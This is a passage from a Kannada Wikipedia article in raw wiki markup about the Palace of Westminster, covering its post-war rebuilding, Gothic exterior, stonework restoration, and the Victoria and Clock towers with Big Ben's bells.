ಮಾರ್ಪಡಿಸಿಕೊಂಡರು. ಕಾಮನ್ಸ್ ಗಳ ಕೊಠಡಿಯನ್ನು ವಿನ್ಯಾಸಕಾರ ಸರ್ ಗೈಲ್ಸ್ ಗಿಲ್ಬರ್ಟ್ ಸ್ಕಾಟ್ ರ ಮಾರ್ಗದರ್ಶನದಡಿ, ಹಳೆ ಕೊಠಡಿಯ ಶೈಲಿಯಲ್ಲೇ ಮತ್ತಷ್ಟು ಸರಳವಾಗಿ, ಯುದ್ಧದ ನಂತರ ಮತ್ತೆ ನಿರ್ಮಾಣ ಮಾಡಲಾಯಿತು. ನಿರ್ಮಾಣ ಕಾರ್ಯವು ೧೯೫೦ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡಿತು, ಅದಾದ ಕೂಡಲೇ ಎರಡೂ ಸದನಗಳು ತಮ್ಮ ತಮ್ಮ ಕೊಠಡಿಗಳಿಗೆ ಹಿಂದಿರುಗಿದವು.<ref name="Churchill and the Commons Chamber">{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palacestructure/churchill/ |title=Architecture of the Palace: Churchill and the Commons Chamber |publisher=UK Parliament |accessdate=14 May 2010}}</ref> ಅರಮನೆಯಲ್ಲಿ ಕಚೇರಿಗಾಗಿ ಸ್ಥಳದ ಅವಶ್ಯಕತೆ ಹೆಚ್ಚಿದಾಗ, ಸಂಸತ್ತು ೧೯೭೫ರಲ್ಲಿ ಅಲ್ಲೇ ಸಮೀಪದಲ್ಲಿದ್ದ ನಾರ್ಮನ್ ಷಾ ಕಟ್ಟಡವನ್ನು ಬಾಡಿಗೆಗೆ ಪಡೆಯಿತು.<ref>{{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g13.pdf |title=The Norman Shaw Buildings |year=2007 |month=April |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> ಅದಲ್ಲದೇ ತೀರ ಇತ್ತೀಚಿಗೆ ಸಂಸತ್ತಿನ ಆದೇಶಾನುಸಾರವಾಗಿ ೨೦೦೦ದಲ್ಲಿ ನಿರ್ಮಾಣಕಾರ್ಯವು ಪೂರ್ಣಗೊಂಡ ಪೋರ್ಟ್ಕುಲ್ಲಿಸ್ ಹೌಸ್ ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು. ಈ ಅಧಿಕತೆಯು, ಎಲ್ಲ MPಗಳು ತಮ್ಮದೇ ಆದ ಕಚೇರಿ ಸೌಲಭ್ಯಗಳನ್ನು ಹೊಂದಲು ಈಗ ಅವಕಾಶ ಮಾಡಿಕೊಟ್ಟಿದೆ.<ref name="Factsheet G03"/> == ಹೊರಾಂಗಣ == {{Multiple image | align = right | direction = vertical | header = River front of the Palace of Westminster | width = 300 | image1 = London Parliament 2007-1.jpg | alt1 = Photograph | caption1 = View from across the Thames in the morning... | image2 = Palace of Westminster, London - Feb 2007.jpg | alt2 = Photograph | caption2 = ...and at dusk. [[Portcullis House]] is visible on the right. }} ಸರ್ ಚಾರ್ಲ್ಸ್ ಬ್ಯಾರಿಯವರ ಸಹಯೋಗದ ವಿನ್ಯಾಸದೊಂದಿಗೆ ನಿರ್ಮಾಣಗೊಂಡ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು ಪೆರ್ಪೆಂಡಿಕ್ಯುಲರ್ ಗೋಥಿಕ್ ಶೈಲಿಯನ್ನು ಬಳಸಿಕೊಂಡಿದೆ.ಇದು ೧೫ನೇ ಶತಮಾನದ ಸಮಯದಲ್ಲಿ ಬಹಳ ಜನಪ್ರಿಯವಾಗಿತ್ತು, ಹಾಗು ೧೯ನೇ ಶತಮಾನದ ಗೋಥಿಕ್ ಪುನರುಜ್ಜೀವನದೊಂದಿಗೆ ಮತ್ತೆ ಹಿಂದಿರುಗಿತು. ಬ್ಯಾರಿ ಒಬ್ಬ ಸರ್ವಶ್ರೇಷ್ಠ ವಾಸ್ತುಶಿಲ್ಪಿಯಾಗಿದ್ದರು, ಆದರೆ ಇವರ ಬೆಂಬಲಕ್ಕೆ ನಿಂತಿದ್ದು ಗೋಥಿಕ್ ಶೈಲಿಯ ವಿನ್ಯಾಸಕಾರ ಅಗಸ್ಟಸ್ ಪುಗಿನ್. ಆಗ ೧೧ನೇ ಶತಮಾನದಲ್ಲಿ ನಿರ್ಮಾಣಗೊಂಡ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ೧೮೩೪ರಲ್ಲಿ ಬೆಂಕಿಗಾಹುತಿಯಾಯಿತು, ಇದು ಬ್ಯಾರಿಯವರ ವಿನ್ಯಾಸವನ್ನು ಒಳಗೊಂಡಿತ್ತು. ನಿರ್ಮಾಣ ಕಾರ್ಯದಿಂದ ಪುಗಿನ್ ಬಹಳ ಅಸಂತುಷ್ಟರಾಗಿದ್ದರು, ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಬ್ಯಾರಿಯವರ ಸಮ್ಮಿತೀಯ ರಚನೆಯಿಂದ ಅಸಮಾಧಾನ ಹೊಂದಿದ್ದರು. ಅವರು ಈ ರೀತಿ ಟೀಕಿಸಿದ್ದು ಇಂದಿಗೂ ಪ್ರಸಿದ್ದ ವಾಕ್ಯವಾಗಿದೆ "ಇದು ಸಂಪೂರ್ಣ ಗ್ರೀಸ್ ಶೈಲಿಯಲ್ಲಿದೆ, ಸರ್; ಆದರೆ ಅತ್ಯುತ್ತಮವಾದ ಹೊರಾಂಗಣದ ಮೇಲೆ ಟ್ಯುಡರ್ ವಾಸ್ತುಶೈಲಿಯ ವಿವರಣೆಯಿದೆ".<ref>{{Cite web |url=http://findarticles.com/p/articles/mi_m3575/is_1248_209/ai_72302588/ |title=Commons Sense |last=Devey |first=Peter |year=2001 |month=February |publisher=The Architectural Review |accessdate=3 December 2009 |archiveurl=https://archive.today/20120708171811/http://findarticles.com/p/articles/mi_m3575/is_1248_209/ai_72302588/ |archivedate=8 ಜುಲೈ 2012 |url-status=dead }}</ref> === ಕಲ್ಲುಕಟ್ಟಡದ ಕಾರ್ಯ === ಕಟ್ಟಡದ ಕಲ್ಲಿನ ಭಾಗಗಳು ಮೂಲತಃ ಆನ್ಸ್ಟನ್ ಶಿಲ್ಪದಿಂದ ನಿರ್ಮಾಣಗೊಂಡಿವೆ. ಇದು ಮಣ್ಣಿನ ಬಣ್ಣದ ಮೆಗ್ನಿಶಿಯನ್ ಸುಣ್ಣದಕಲ್ಲಾಗಿತ್ತು. ಇದನ್ನು ಸೌತ್ ಯಾರ್ಕ್ ಶೈರ್ ನಲ್ಲಿರುವ ಆನ್ಸ್ಟನ್ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿನ ಗಣಿಗಾರಿಕೆಯಿಂದ ತೆಗೆಯಲಾಗಿತ್ತು.<ref name="Factsheet G11"> {{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g11.pdf |title=The Palace of Westminster |year=2009 |month=May |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> ಆದಾಗ್ಯೂ, ಈ ಕಲ್ಲು, ಮಾಲಿನ್ಯ ಹಾಗು ಬಳಸಲಾದ ಕಳಪೆ ಮಟ್ಟದ ಸೀಳು ಕಲ್ಲಿನ ಕಾರಣದಿಂದಾಗಿ ಬಹಳ ಬೇಗನೆ ನಾಶ ಹೊಂದಲು ಆರಂಭಿಸಿತು. ಆದಾಗ್ಯೂ ಇಂತಹ ದೋಷಗಳನ್ನು ೧೮೪೯ರ ಆರಂಭದ ಹೊತ್ತಿಗೆ ಗುರಿತಿಸಲಾಯಿತಾದರೂ, ೧೯ನೇ ಶತಮಾನದಲ್ಲಿ ಉಳಿದ ಅವಶೇಷದ ಕಾರ್ಯಗಳಿಗೆ ಹೆಚ್ಚಿನ ಗಮನ ವಹಿಸಲಾಗಲಿಲ್ಲ. ಆದಾಗ್ಯೂ, ೧೯೧೦ರ ಸುಮಾರಿಗೆ, ಕೆಲವು ಕಲ್ಲುನಿರ್ಮಿತಿಗಳನ್ನು ಬದಲಾಯಿಸುವ ಅವಶ್ಯಕತೆ ಕಂಡುಬಂತು. ಹೀಗೆ ೧೯೨೮ರಲ್ಲಿ, ಕ್ಲಿಪ್ಶಾಮ್ ಗಣಿಗಾರಿಕೆ ಕಂಪನಿಯ ಪ್ರಸಿದ್ದ ಕಲ್ಲಿನ ಬಳಕೆಯನ್ನು ಪರಿಗಣಿಸಲಾಯಿತು, ಇದು ರುಟ್ಲ್ಯಾಂಡ್ ನಲ್ಲಿ ದೊರೆಯುತ್ತಿದ್ದ ಜೇನುತುಪ್ಪದ-ಬಣ್ಣದ ಸುಣ್ಣದಕಲ್ಲಾಗಿತ್ತು, ಇದನ್ನು ನಾಶವಾಗುತ್ತಿರುವ ಆನ್ಸ್ಟನ್ ಸುಣ್ಣದ ಕಲ್ಲಿಗೆ ಬದಲಾಗಿ ಬಳಸಲು ಯೋಜಿಸಲಾಯಿತು. ಈ ಯೋಜನೆಯು ೧೯೩೦ರಲ್ಲಿ ಆರಂಭಗೊಂಡಿತಾದರೂ ಎರಡನೇ ವಿಶ್ವ ಸಮರದ ಕಾರಣದಿಂದ ಸ್ಥಗಿತಗೊಂಡಿತು.ಹೀಗಾಗಿ ೧೯೫೦ರ ಸುಮಾರಿಗೆ ಪೂರ್ಣಗೊಳ್ಳಬೇಕಾಯಿತು. ಮಾಲಿನ್ಯ ಪ್ರಮಾಣವು ಮತ್ತೊಮ್ಮೆ ೧೯೬೦ರ ಹೊತ್ತಿಗೆ ಅಧಿಕವಾಗತೊಡಗಿತು. ಕಲ್ಲಿನ ಕಟ್ಟಡದ ಸಂರಕ್ಷಣೆ ಹಾಗು ಕಟ್ಟಡ ಹಾಗು ಗೋಪುರವನ್ನು ಮತ್ತಷ್ಟು ಎತ್ತರಿಸುವ ಉದ್ದೇಶದಿಂದ ಪುನರುಜ್ಜೀವನದ ಕಾರ್ಯಕ್ರಮಗಳು ೧೯೮೧ರಲ್ಲಿ ಆರಂಭಗೊಂಡು, ೧೯೯೪ರಲ್ಲಿ ಕೊನೆಗೊಂಡವು.<ref name="Factsheet G12">{{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g12.pdf |title=Restoration of the Palace of Westminster: 1981–94 |year=2003 |month=August |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> ಹೌಸ್ ಅಥಾರಿಟೀಸ್ ಅಲ್ಲಿಂದೀಚೆಗೆ ಹಲವು ಒಳಾಂಗಣ ಅಂಗಳಗಳನ್ನು ಬಾಹ್ಯವಾಗಿ ಪುನರುತ್ಥಾನ ಮಾಡುವ ಕಾರ್ಯದಲ್ಲಿ ತೊಡಗಿದೆ. ಈ ಯೋಜನೆಯು ಸರಿಸುಮಾರು ೨೦೧೧ರ ಕೊನೆವರೆಗೂ ಮುಂದುವರೆಯಬಹುದೆಂದು ಅಂದಾಜಿಸಲಾಗಿದೆ. === ಗೋಪುರಗಳು === {{Main|Victoria Tower|Big Ben}} [[ಚಿತ್ರ:Victoria Tower from Old Palace Yard.jpg|thumb|upright|left|alt=Photograph|ವಿಕ್ಟೋರಿಯ ಗೋಪುರವು ಹೊಸ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಗೆ ಚಾರ್ಲ್ಸ್ ಬ್ಯಾರಿಯವರು ಮಾಡಿದ ವಿನ್ಯಾಸದಲ್ಲೇ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧ ಆಕರ್ಷಣೆಯಾಗಿದೆ.ಅದು ಪೂರ್ಣಗೊಂಡ ಸಮಯದಲ್ಲಿ ಅದು ವಿಶ್ವದಲ್ಲೇ ಅತ್ಯಂತ ಉದ್ದವಾದ ಆ ಶತಮಾನದ ಕಟ್ಟಡವಾಗಿತ್ತು.]] ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು ಮೂರು ಪ್ರಮುಖ ಗೋಪುರಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಇವುಗಳಲ್ಲಿ, ಬಹಳ ದೊಡ್ಡದಾದ ಹಾಗು ಅತಿ ಎತ್ತರದ ಗೋಪುರವೆಂದರ {{Convert|98.5|m|ft|adj=on}}<ref name="Factsheet G11"/>ವಿಕ್ಟೋರಿಯಾ ಗೋಪುರ, ಇದು ಅರಮನೆಯ ನೈಋತ್ಯ ದಿಕ್ಕನ್ನು ಆಕ್ರಮಿಸುತ್ತದೆ. ಆ ಅವಧಿಯಲ್ಲಿ ಆಳ್ವಿಕೆ ನಡೆಸುತ್ತಿದ್ದ ವಿಲ್ಲಿಯಮ್ IV ಅವರ ಗೌರವಾರ್ಥವಾಗಿ ಇದನ್ನು "ರಾಜನ ಗೋಪುರವೆಂದು" ಕರೆಯಲಾಗುತ್ತಿತ್ತು. ಈ ಗೋಪುರವು ವಿನ್ಯಾಸಕಾರ ಬ್ಯಾರಿಯವರ ಮೂಲ ವಿನ್ಯಾಸದ ಅವಿಭಾಜ್ಯ ಅಂಗವಾಗಿತ್ತು, ಇದನ್ನು ಅವರು ಮುಂದೆ ಅತ್ಯಂತ ಸ್ಮರಣಾರ್ಹ ಕಟ್ಟಡವಾಗಬಹುದೆಂಬ ಉದ್ದೇಶ ಹೊಂದಿದ್ದರು. ವಿನ್ಯಾಸಕಾರನು, ಚೌಕಟ್ಟಾದ ಬೃಹತ್ ಗೋಪುರವನ್ನು ಶಾಸನ ರಚನೆಯ " ಕೋಟೆಯ" ಸುಭದ್ರ ನೆಲೆಯಾಗಬಹುದೆಂದು ಉದ್ದೇಶಿಸಿ ರಚಿಸಿದ್ದ.(ವಿನ್ಯಾಸರಚನೆಯ ಸ್ಪರ್ಧೆಯಲ್ಲಿ ಪೋರ್ಟ್ಕುಲ್ಲಿಸ್ ನ ಆಯ್ಕೆಯು ಅಭಿನ್ನವಾದ ಗುರುತೆಂದು ಗಾಢವಾದ ಅನುಕರಣವನ್ನು ಹೊಂದಿದೆ), ಹಾಗು ಇದನ್ನು ಅರಮನೆಯ ರಾಜವಂಶದ ಪ್ರವೇಶದ್ವಾರವಾಗಿ ಬಳಕೆ ಮಾಡಿದ, ಹಾಗು ಬೆಂಕಿ ನಿರೋಧಕ ಅಳವಡಿಸಿ ಸಂಸತ್ತಿನ ದಸ್ತಾವೇಜಿಗೆ ಬೆಂಕಿಯಿಂದ ರಕ್ಷಣೆ ನೀಡುವ ಭಂಡಾರವನ್ನಾಗಿ ಬಳಸಿಕೊಂಡ.<ref>ಕ್ವೀನ್ ಅಲ್ಟ್(೧೯೯೧), p. ೮೧; ಜೋನ್ಸ್(೧೯೮೩), p. ೧೧೩.</ref> ವಿಕ್ಟೋರಿಯಾ ಗೋಪುರವು ಹಲವು ಬಾರಿ ಮರು ವಿನ್ಯಾಸಗೊಂಡಿತು, ಹಾಗು ಕ್ರಮೇಣ ಅದರ ಎತ್ತರವು ಹೆಚ್ಚುತ್ತಾ ಹೋಯಿತು.<ref>ಪೋರ್ಟ್(೧೯೭೬), pp. ೭೬, ೧೦೯; ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), p. ೧೧೬.</ref> ಹೀಗೆ ೧೮೫೮ರಲ್ಲಿ ಇದರ ನಿರ್ಮಾಣಕಾರ್ಯವು ಪೂರ್ಣಗೊಂಡ ನಂತರ, ಇದು ಈ ಶತಮಾನದ ವಿಶ್ವದ ಅತ್ಯಂತ ಎತ್ತರದ ಗೋಪುರವೆನಿಸಿತು.<ref>ಕ್ವೀನ್ ಅಲ್ಟ್(೧೯೯೧), p. ೮೧.</ref> ಗೋಪುರದ ಕೆಳಭಾಗದಲ್ಲಿ ಸಾವರಿನ್ಸ್ ಎಂಟ್ರೆನ್ಸ್(ರಾಜ ದ್ವಾರ) ಇದೆ, ಇದನ್ನು ರಾಜರುಗಳು ಸಂಸತ್ತನ್ನು ವಿಧ್ಯುಕ್ತವಾಗಿ ಆರಂಭಿಸುವ ಸಂದರ್ಭದಲ್ಲಿ ಅರಮನೆಗೆ ಪ್ರವೇಶಿಸುವಾಗ ಅಥವಾ ರಾಜ್ಯಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಇತರ ಸಂದರ್ಭಗಳಲ್ಲಿ ಈ ದ್ವಾರವನ್ನು ಬಳಸುತ್ತಾರೆ. ಎತ್ತರದ {{Convert|15.2|m|ft|0|adj=on}}ಕಮಾನುದಾರಿಯು ಶಿಲ್ಪಕಲೆಗಳಿಂದ ಸಂಪೂರ್ಣವಾಗಿ ಅಲಂಕೃತಗೊಂಡಿದೆ. ಇದರಲ್ಲಿ ಸೈಂಟ್ಸ್ ಜಾರ್ಜ್, ಆಂಡ್ರ್ಯೂ ಹಾಗು ಪ್ಯಾಟ್ರಿಕ್, ಜೊತೆಗೆ ಸ್ವತಃ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾಳ ಮೂರ್ತಿಗಳು ಸೇರಿವೆ.<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆಂಜೆ (೧೯೯೪), p. ೩೦.</ref> ವಿಕ್ಟೋರಿಯಾ ಗೋಪುರದ ಮುಖ್ಯ ಭಾಗದ ೧೨ ಮಹಡಿಗಳಲ್ಲಿ ಇರಿಸಲಾಗಿರುವ {{Convert|8.8|km|mi}}ಉಕ್ಕಿನ ಕಪಾಟುಗಳಲ್ಲಿ ಮೂರು ದಶಲಕ್ಷ ಸಂಸತ್ತಿನ ದಸ್ತಾವೇಜುಗಳ ದಾಖಲೆಗಳಿವೆ; ಇದರಲ್ಲಿ ೧೪೯೭ರಿಂದೀಚೆಗೆ ನಡೆದ ಎಲ್ಲ ಸಂಸತ್ತಿನ ಒಪ್ಪಂದಗಳ ಮೂಲ ಪ್ರತಿಗಳ ದಾಖಲೆಗಳಿವೆ; ಹಾಗು ಮುಖ್ಯ ಹಸ್ತಪ್ರತಿಗಳ ಮೂಲ ಹಕ್ಕು ಮಸೂದೆಗಳು ಹಾಗು ರಾಜ ಚಾರ್ಲ್ಸ್ I ನ ಮರಣದಂಡನೆಯ ಆಧಾರದ ಸಮರ್ಥನೆಯ ಕಾಗದಪತ್ರಗಳ ಪ್ರತಿಗಳಿವೆ.<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆಂಜೆ(೧೯೯೪), p. ೪೪.</ref> ಪಿರಮಿಡ್ ಆಕಾರದ ಬೀಡುಕಬ್ಬಿಣದ ತಾರಸಿಯ ಮೇಲೆ{{Convert|22.3|m|ft|0|adj=on}}<ref name="Factsheet G11"/> ಧ್ವಜಸ್ತಂಭವಿದೆ. ಅರಮನೆಯಲ್ಲಿ ರಾಜನ ಉಪಸ್ಥಿತಿ ಸಂದರ್ಭದಲ್ಲಿ ಇಲ್ಲಿಂದ ರಾಯಲ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್(ರಾಜನ ಖಾಸಗಿ ಧ್ವಜ) ಹಾರಾಡುತ್ತದೆ. ಸಂಸತ್ತಿನ ಯಾವುದೇ ಸದನವು ಇಲ್ಲಿ ಸಭೆ ಸೇರಿದಾಗ ಹಾಗು ನಿಯುಕ್ತವಾದ ಧ್ವಜಾಚರಣೆಯ ದಿನಗಳಂದು,ಯುನಿಯನ್ ಫ್ಲ್ಯಾಗ್ಸ್,ರಾಷ್ಟ್ರಧ್ವಜಗಳು ಧ್ವಜಸ್ತಂಭದಿಂದ ಹಾರಾಡುತ್ತವೆ.<ref>{{Cite Hansard |url=http://www.publications.parliament.uk/pa/cm200607/cmhansrd/cm070110/text/70110w0002.htm#07011174000037 |house=House of Commons |date=10 January 2007 |column_start=582W |column_end=583W}}</ref><ref>{{Cite web |url=http://www.parliament.uk/commons/lib/research/briefings/snpc-04474.pdf |format=PDF |title=The Union Flag and Flags of the United Kingdom |last1=Williams |first1=Kevin |last2=Walpole |first2=Jennifer |accessdate=26 April 2010 |publisher=House of Commons Library |date=3 June 2008 |archive-date=28 ಫೆಬ್ರವರಿ 2010 |archive-url=https://www.webcitation.org/5nsP8r73t?url=http://www.parliament.uk/commons/lib/research/briefings/snpc-04474.pdf |url-status=dead }}</ref> [[ಚಿತ್ರ:Big Ben 2007-1.jpg|thumb|upright|alt=Photograph|ಕ್ಲಾಕ್ ಗೋಪುರದ ಖ್ಯಾತಿಯು ಅರಮನೆಯನ್ನು ಮೀರಿಸಿದೆ.ಇದರ ರಚನೆಯು ಹೆಚ್ಚಾಗಿ ಬಿಗ್ ಬೆನ್ ಅನ್ನು ಹೋಲುತ್ತದೆ, ಐದು ಗಂಟೆಗಳಲ್ಲಿ ಅತ್ಯಂತ ಭಾರವಾದದ್ದನ್ನು ಇದು ಒಳಗೊಂಡಿದೆ.]] ಅರಮನೆಯ ಉತ್ತರ ದಿಕ್ಕಿನ ಕೊನೆಯಲ್ಲಿ, ಗೋಪುರಗಳಲ್ಲೇ ಅತ್ಯಂತ ಪ್ರಸಿದ್ದವಾದ ಗಡಿಯಾರ ಗೋಪುರವು ಕಂಡುಬರುತ್ತದೆ.ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಬಿಗ್ ಬೆನ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. {{Convert|96.3|m|ft}}, ಇದು ವಿಕ್ಟೋರಿಯಾ ಗೋಪುರಕ್ಕಿಂತ ಸ್ವಲ್ಪ ಕಡಿಮೆ ಎತ್ತರದಲ್ಲಿದ್ದು ಸ್ವಲ್ಪಮಟ್ಟಿಗೆ ತೆಳುವಾದ ರಚನೆ ಹೊಂದಿದೆ.<ref name="Factsheet G11"/> ಇದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನ ಬೃಹತ್ ಗಡಿಯಾರವನ್ನು ಒಳಗೊಂಡಿದೆ.ಇದನ್ನು ಹವ್ಯಾಸಿ ಗಡಿಯಾರ ತಯಾರಕ ಎಡ್ಮಂಡ್ ಬೆಕೆಟ್ ಡೆನಿಸನ್ ರ ವಿನ್ಯಾಸವನ್ನು ಆಧರಿಸಿ ಎಡ್ವರ್ಡ್ ಜಾನ್ ಡೆಂಟ್ ತಯಾರಿಸಿದ್ದಾರೆ.<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/big-ben/building-clock-tower/building-great-clock/ |title=Building the Great Clock |publisher=UK Parliament |accessdate=14 May 2010 |archive-date=15 ಮೇ 2010 |archive-url=https://web.archive.org/web/20100515114506/http://www.parliament.uk/about/living-heritage/building/palace/big-ben/building-clock-tower/building-great-clock/ |url-status=dead }}</ref> ಸೆಕೆಂಡುಗಳೊಳಗೇ ತಾಸಿನ ಗಂಟೆ ಬಾರಿಸುವ ಬೃಹತ್ ಗಡಿಯಾರವು, ೧೯ನೇ ಶತಮಾನದಲ್ಲಿ ಗಡಿಯಾರ ತಯಾರಿಕರಿಗೆ ಅಸಾಧ್ಯವೆನಿಸಿದ್ದ ನಿಖರತೆಯ ಗುಣಮಟ್ಟವನ್ನು ಸಾಧಿಸಿ ತೋರಿಸಿದೆ. ಅಲ್ಲದೇ ೧೮೫೯ರಲ್ಲಿ ಚಾಲನೆಗೊಂಡು ಇದು ಅಂದಿನಿಂದಲೂ ಹಾಗೆಯೇ ಸತತವಾಗಿ ವಿಶ್ವಾಸಾರ್ಹತೆ ಉಳಿಸಿಕೊಂಡು ಬಂದಿದೆ.<ref>ಮ್ಯಾಕ್ ಡೋನಾಲ್ಡ್ (೨೦೦೪), pp. xiii–xiv.</ref> ವ್ಯಾಸದಲ್ಲಿರುವ ನಾಲ್ಕು ಮುಖಬಿಲ್ಲೆಗಳು{{Convert|7|m|ft|0}} ಸಮಯವನ್ನು ಸೂಚಿಸುತ್ತವೆ. ಇದನ್ನು ಅರೆಪಾರದರ್ಶಕ ಬಿಳಿಗಾಜಿನಲ್ಲಿ ತಯಾರಿಸಲಾಗಿದೆ, ಹಾಗು ರಾತ್ರಿಯ ಸಮಯದಲ್ಲಿ ಇದಕ್ಕೆ ಹಿಂಬದಿಯಿಂದ ಬೆಳಕು ನೀಡಲಾಗುತ್ತದೆ, ಗಂಟೆ ಸೂಚಕ ಮುಳ್ಳು {{Convert|2.7|m}}ರಷ್ಟು ಉದ್ದವಿದ್ದು, ನಿಮಿಷದ ಮುಳ್ಳು {{Convert|4.3|m}}ರಷ್ಟು ಉದ್ದವಿದೆ.<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/big-ben/facts-figures/great-clock-facts/ |title=Great Clock facts |publisher=UK Parliament |accessdate=14 May 2010}}</ref> ಗಡಿಯಾರದ ಮೇಲ್ಭಾಗದಲ್ಲಿರುವ ಗಂಟೆಗೂಡಿಗೆ ಐದು ಗಂಟೆಗಳು ತೂಗಾಡುತ್ತವೆ. ನಾಲ್ಕು ಕ್ವಾರ್ಟರ್ ಬೆಲ್ ಗಳು ಪ್ರತಿ ಕಾಲು ಗಂಟೆಗೊಮ್ಮೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಗಡಿಯಾರಕ್ಕೆ ಬಡಿದು ಸಮಯ ಸೂಚಿಸುತ್ತವೆ.<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆಂಜೆ (೧೯೯೪), pp. ೨೪, ೨೬.</ref> ಅತ್ಯಂತ ದೊಡ್ಡದಾದ ಗಂಟೆಯು ಸಮಯವನ್ನು ಸೂಚಿಸುತ್ತದೆ; ಇದನ್ನು ಅಧಿಕೃತವಾಗಿ ''ದಿ ಗ್ರೇಟ್ ಬೆಲ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ''ಬಿಗ್ ಬೆನ್'' ಎಂದು ಸೂಚಿಸಲಾಗುತ್ತದೆ.ಇದು ಅನಿರ್ದಿಷ್ಟ ಮೂಲದಿಂದ ಹುಟ್ಟಿಕೊಂಡಂತಹ ಅಡ್ಡಹೆಸರು, ಕಾಲಾನುಕ್ರಮದಲ್ಲಿ, ಇದನ್ನು ಆಡುಮಾತಿನಲ್ಲಿ ಸಂಪೂರ್ಣ ಗೋಪುರಕ್ಕೆ ಅನ್ವಯವಾಗುವಂತೆ ಬಳಸಲಾಗುತ್ತಿದೆ. ಈ ಹೆಸರನ್ನು ಪಡೆದ ಮೊದಲ ಗಂಟೆಯು, ಅದನ್ನು ಪರಿಶೀಲಿಸುವ ಸಮಯದಲ್ಲಿ ಬಿರುಕು ಬಿಟ್ಟಿತು ಹಾಗು ಅದನ್ನು ಮತ್ತೆ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಯಿತು;<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/big-ben/building-clock-tower/great-bell/ |title=The Great Bell – Big Ben |publisher=UK Parliament |accessdate=14 May 2010 |archive-date=15 ಮೇ 2010 |archive-url=https://web.archive.org/web/20100515185540/http://www.parliament.uk/about/living-heritage/building/palace/big-ben/building-clock-tower/great-bell/ |url-status=dead }}</ref> ಪ್ರಸಕ್ತದಲ್ಲಿರುವ ಗಂಟೆಯು ತನ್ನದೇ ಆದ ರೀತಿಯಲ್ಲಿ ಬಿರುಕುಬಿಟ್ಟು, ವಿಶಿಷ್ಟವಾದ ಸದ್ದು ಮೊಳಗಿಸುತ್ತದೆ.<ref>ಮ್ಯಾಕ್ ಡೋನಾಲ್ಡ್ (೨೦೦೪), pp. xvi–xvii, ೫೦.</ref> {{Convert|13.8|t|long ton}}ರಷ್ಟು ತೂಕದ ಅತ್ಯಂತ ಭಾರವಿರುವ ಈ ಗಂಟೆಯು ಬ್ರಿಟನ್ ನಲ್ಲಿ ದೊಡ್ಡ ಗಾತ್ರದ ಮೂರನೇ ಗಂಟೆಯೆಂದು ಖ್ಯಾತಿ ಪಡೆದಿದೆ.<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/big-ben/facts-figures/great-bell/ |title=The Great Bell and the quarter bells |publisher=UK Parliament |accessdate=14 May 2010}}</ref><ref>ಮ್ಯಾಕ್ ಡೋನಾಲ್ಡ್ (೨೦೦೪) ೧೯೮೬, ಪುಟ. ೯೮.</ref> ಗಡಿಯಾರ ಗೋಪುರದ ಮೇಲ್ಭಾಗದಲ್ಲಿರುವ ಲಾಂದ್ರವು, ಅಯ್ರ್ಟನ್ ದೀಪವಾಗಿದೆ, ಇದನ್ನು ಸಂಸತ್ತಿನ ಯಾವುದೇ ಸದನಗಳು ಇಲ್ಲಿ ರಾತ್ರಿಯಲ್ಲಿ ಸಭೆ ಸೇರುವಾಗ ಉರಿಸಲಾಗುತ್ತದೆ. ಇದನ್ನು ರಾಣಿ ವಿಕ್ಟೋರಿಯಾಳ ಕೋರಿಕೆಯ ಮೇರೆಗೆ ೧೮೮೫ರಲ್ಲಿ ಅಳವಡಿಸಲಾಯಿತು—ಈ ರೀತಿಯಾಗಿ ಆಕೆ ಬಕಿಂಗ್ಹ್ಯಾಮ್ ಅರಮನೆಯಲ್ಲಿ ಕೆಲಸಗಾರರು "ಕೆಲಸ ಮಾಡುತ್ತಿರುವರೇ" ಎಂಬುದರ ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಅಳವಡಿಸಬೇಕೆಂದು ಕೋರಿಕೊಂಡಿದ್ದರು—ಇದಕ್ಕೆ ೧೮೭೦ರಲ್ಲಿ ಫಸ್ಟ್ ಕಮಿಷನರ್ ಆಫ್ ವರ್ಕ್ಸ್ ಆಗಿದ್ದ ಅಕ್ಟನ್ ಸ್ಮೀ ಅಯ್ರ್ಟನ್ ರ ಹೆಸರನ್ನು 